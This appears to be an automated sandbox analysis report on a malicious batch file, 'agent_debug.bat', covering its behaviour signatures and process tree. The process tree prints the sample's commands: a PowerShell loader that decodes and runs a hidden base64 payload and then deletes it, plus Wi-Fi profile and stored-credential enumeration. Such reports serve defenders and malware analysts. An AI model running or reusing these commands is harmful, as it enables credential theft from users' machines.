Analysis
- max time kernel
149s - max time network
108s - platform
windows11-21h2_x64 - resource
win11-20260130-en - resource tags
- submitted
08/05/2026, 15:02
General
- Target agent_debug.bat
- Size 67KB
- Sample260508-seh24aav4x
- SHA256 073eb2fb4cb1cdbc14c435028dfd04ca631dac4d713b1bfce573f84e90757d37
Malware Config
Signatures
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Using powershell.exe command.
- Drops file in Windows directory 1 IoCs
- Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs
Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.
- System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 1 IoCs
Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of WriteProcessMemory 3 IoCs
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\agent_debug.bat"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell.exe -ExecutionPolicy Bypass -NoProfile -Command "$f='C:\Users\Admin\AppData\Local\Temp\10683.b64';$b=Get-Content $f -Raw;[Text.Encoding]::Unicode.GetString([Convert]::FromBase64String(($b -replace '\s',''))) | Invoke-Expression;Remove-Item $f -Force -EA 0"2⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Drops file in Windows directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\netsh.exe"C:\Windows\system32\netsh.exe" wlan show profiles3⤵
- Event Triggered Execution: Netsh Helper DLL
- System Network Configuration Discovery: Wi-Fi Discovery
-
-
C:\Windows\system32\cmdkey.exe"C:\Windows\system32\cmdkey.exe" /list3⤵
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
10683.b64
10683.b64
__PSScriptPolicyTest_401xsgkb.mwu.ps1
memory/1048-47-0x000001C2F9480000-0x000001C2F948A000-memory.dmp
memory/1048-49-0x000001C2F95F0000-0x000001C2F95F8000-memory.dmp
memory/1048-27-0x000001C2F8E70000-0x000001C2F8E80000-memory.dmp
memory/1048-18-0x000001C2F8E70000-0x000001C2F8E80000-memory.dmp
memory/1048-29-0x000001C2F96A0000-0x000001C2F9862000-memory.dmp
memory/1048-30-0x000001C2F9DA0000-0x000001C2FA2C8000-memory.dmp
memory/1048-42-0x000001C2F94D0000-0x000001C2F94EC000-memory.dmp
memory/1048-43-0x00007FF4C41A0000-0x00007FF4C41B0000-memory.dmp
memory/1048-45-0x000001C2F9600000-0x000001C2F960A000-memory.dmp
memory/1048-44-0x000001C2F9530000-0x000001C2F95E3000-memory.dmp
memory/1048-46-0x000001C2F9490000-0x000001C2F94AC000-memory.dmp
memory/1048-19-0x000001C2F8E70000-0x000001C2F8E80000-memory.dmp
memory/1048-48-0x000001C2F9630000-0x000001C2F964A000-memory.dmp
memory/1048-20-0x000001C2F9070000-0x000001C2F9092000-memory.dmp
memory/1048-50-0x000001C2F9610000-0x000001C2F9616000-memory.dmp
memory/1048-51-0x000001C2F9620000-0x000001C2F962A000-memory.dmp
memory/1048-52-0x000001C2F8E70000-0x000001C2F8E80000-memory.dmp
memory/1048-66-0x000001C2F9640000-0x000001C2F9686000-memory.dmp
memory/1048-68-0x000001C2F8E70000-0x000001C2F8E80000-memory.dmp
memory/1048-67-0x000001C2F8E70000-0x000001C2F8E80000-memory.dmp
memory/1048-71-0x000001C2F9040000-0x000001C2F9052000-memory.dmp
memory/1048-70-0x000001C2E0940000-0x000001C2E094C000-memory.dmp
memory/1048-69-0x000001C2DEFE0000-0x000001C2DF08E000-memory.dmp
memory/1048-72-0x000001C2F8E70000-0x000001C2F8E80000-memory.dmp
memory/1048-73-0x00007FF4C41A0000-0x00007FF4C41B0000-memory.dmp
memory/1048-74-0x000001C2F8E70000-0x000001C2F8E80000-memory.dmp